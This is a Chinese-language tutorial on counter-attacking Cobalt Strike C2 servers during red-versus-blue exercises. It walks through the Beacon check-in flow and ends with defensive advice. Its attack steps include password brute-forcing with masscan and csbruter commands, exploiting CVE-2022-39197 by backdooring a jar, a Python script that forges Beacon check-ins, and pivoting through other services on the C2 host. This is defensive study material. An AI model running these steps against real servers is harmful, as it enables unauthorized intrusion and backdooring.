记对cobalt strike的反制思路研究
字数 1476 2025-08-22 12:22:59

Cobalt Strike反制思路研究

1. Cobalt Strike上线流程分析

Cobalt Strike (CS)是护网中红队常用的C2工具,其上线流程如下:

  1. 攻击者利用CS Server生成新的Beacon监听(包括一对非对称公私钥)并生成Stager
  2. 攻击者投递Stager到受控主机
  3. 受控主机执行Stager
  4. 受控主机根据Stager Url请求特征向Beacon Staging Server下载更复杂的Stage
  5. Beacon Staging Server校验Url的合法性
  6. Stage解密并解析Beacon配置信息(公钥PublicKey、C2 Server信息等)
  7. Stage通过公钥PublicKey加密主机的元数据并发送至C2 Server
  8. C2 Server用私钥解密数据获取主机元数据

核心点

  • Stager Url校验算法
  • Beacon配置的解密算法

2. 反制方法

方法1:爆破CS弱口令

步骤

  1. 收集红队teamserver真实IP信息
  2. 扫描开放端口(默认50050,或使用masscan扫描所有端口)
    $ sudo masscan -p1-65535 192.168.10.158
    
  3. 使用csbruter工具爆破密码
    python csbruter.py -p 50666 192.168.10.158 top1000.txt
    
  4. 连接成功后进行后续操作

工具csbruter

方法2:利用CS RCE漏洞(CVE-2022-39197)反制

适用版本:Cobalt Strike < 4.7.1

原理:Java Swing中某个控件存在RCE,CS使用了该控件

利用步骤

  1. 下载利用脚本:CVE-2022-39197
  2. 修改jar包内容,加入后门
  3. 使用mvn打包
    mvn clean compile assembly:single
    
  4. 放入CVE的serve目录
  5. 修改URL为下载恶意jar包的地址
  6. 开启8080端口服务
  7. 找到红队beacon.exe文件,使用POC执行

注意:需做好物理隔离,防止红队反渗透

方法3:批量伪装上线

原理:分析CS上线过程,模拟合法Beacon上线

步骤

  1. 抓包分析

    • 使用Wireshark分析CS上线过程
    • 发现GET /gif请求,Cookie为RSA加密的主机元数据
  2. 解密Cookie

    • 使用DumpKeys.java获取私钥
    • 或使用在线RSA解密工具:the-x.cn
  3. 模拟上线脚本

    import requests
    
    url = "http://192.168.119.128:8001/pixel.gif"
    header = {
        "User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0)",
        "Accept": "*/*",
        "Cookie": "FRfwPoK21T48W80c9VZm8C0vw1116g/X6T4nxjYGNqQJquF9Z7M2AS2QDP6yHz+ca7rOpxi0f/fnitfMLVfy/wOwMrHDZdsxpAp2j77425op8AV9DCNYftCVowPrBtSaN4d6q3LBkXXcAbYcD9k/NDRIXB/TrWHu015XmrCibnA=",
        "Connection": "Keep-Alive",
        "Cache-Control": "no-cache"
    }
    r = requests.get(url,headers=header)
    
  4. 批量伪装工具

    • 使用CS_fakesubmit
    • 准备文件:
      • Computer_name.txt - 计算机名称列表
      • User_name.txt - 用户名列表
      • Process_name.txt - 进程名列表
      • Public_key.txt - CS公钥

    执行

    python3 cs_fakesubmit.py
    

    输入C2 Server URL和发送次数

方法4:旁路阻断

步骤

  1. 利用C2地址的其他web服务
  2. 测试存在的漏洞和开放端口
  3. 尝试获取其他站点的shell
  4. 通过获得的shell对C2进行攻击

3. 关键工具和技术

  1. Checksum8算法:用于计算8位校验和,验证数据完整性

    • 示例:55+118+118+57-256=92
  2. Beacon配置解密工具

  3. 关键函数

    • checksum8:计算8位校验和
    • MSFURI:处理和操作Metasploit框架中的URL
    • isStager:判断是否为Stager脚本

4. 防御建议

  1. 红队防护

    • 及时更新CS版本
    • 修改默认端口和密码
    • 监控异常上线行为
  2. 蓝队检测

    • 监控异常HTTP请求(如特定gif请求)
    • 分析网络流量中的RSA加密特征
    • 部署蜜罐诱捕攻击者

通过以上方法,蓝队可以有效反制红队的Cobalt Strike攻击,甚至反控红队的C2服务器。

Cobalt Strike反制思路研究 1. Cobalt Strike上线流程分析 Cobalt Strike (CS)是护网中红队常用的C2工具,其上线流程如下: 攻击者利用CS Server生成新的Beacon监听(包括一对非对称公私钥)并生成Stager 攻击者投递Stager到受控主机 受控主机执行Stager 受控主机根据Stager Url请求特征向Beacon Staging Server下载更复杂的Stage Beacon Staging Server校验Url的合法性 Stage解密并解析Beacon配置信息(公钥PublicKey、C2 Server信息等) Stage通过公钥PublicKey加密主机的元数据并发送至C2 Server C2 Server用私钥解密数据获取主机元数据 核心点 : Stager Url校验算法 Beacon配置的解密算法 2. 反制方法 方法1:爆破CS弱口令 步骤 : 收集红队teamserver真实IP信息 扫描开放端口(默认50050,或使用masscan扫描所有端口) 使用csbruter工具爆破密码 连接成功后进行后续操作 工具 : csbruter 方法2:利用CS RCE漏洞(CVE-2022-39197)反制 适用版本 :Cobalt Strike < 4.7.1 原理 :Java Swing中某个控件存在RCE,CS使用了该控件 利用步骤 : 下载利用脚本: CVE-2022-39197 修改jar包内容,加入后门 使用mvn打包 放入CVE的serve目录 修改URL为下载恶意jar包的地址 开启8080端口服务 找到红队beacon.exe文件,使用POC执行 注意 :需做好物理隔离,防止红队反渗透 方法3:批量伪装上线 原理 :分析CS上线过程,模拟合法Beacon上线 步骤 : 抓包分析 : 使用Wireshark分析CS上线过程 发现GET /gif请求,Cookie为RSA加密的主机元数据 解密Cookie : 使用DumpKeys.java获取私钥 或使用在线RSA解密工具: the-x.cn 模拟上线脚本 : 批量伪装工具 : 使用 CS_ fakesubmit 准备文件: Computer_ name.txt - 计算机名称列表 User_ name.txt - 用户名列表 Process_ name.txt - 进程名列表 Public_ key.txt - CS公钥 执行 : 输入C2 Server URL和发送次数 方法4:旁路阻断 步骤 : 利用C2地址的其他web服务 测试存在的漏洞和开放端口 尝试获取其他站点的shell 通过获得的shell对C2进行攻击 3. 关键工具和技术 Checksum8算法 :用于计算8位校验和,验证数据完整性 示例:55+118+118+57-256=92 Beacon配置解密工具 : CobaltStrikeParser 关键函数 : checksum8 :计算8位校验和 MSFURI :处理和操作Metasploit框架中的URL isStager :判断是否为Stager脚本 4. 防御建议 红队防护 : 及时更新CS版本 修改默认端口和密码 监控异常上线行为 蓝队检测 : 监控异常HTTP请求(如特定gif请求) 分析网络流量中的RSA加密特征 部署蜜罐诱捕攻击者 通过以上方法,蓝队可以有效反制红队的Cobalt Strike攻击,甚至反控红队的C2服务器。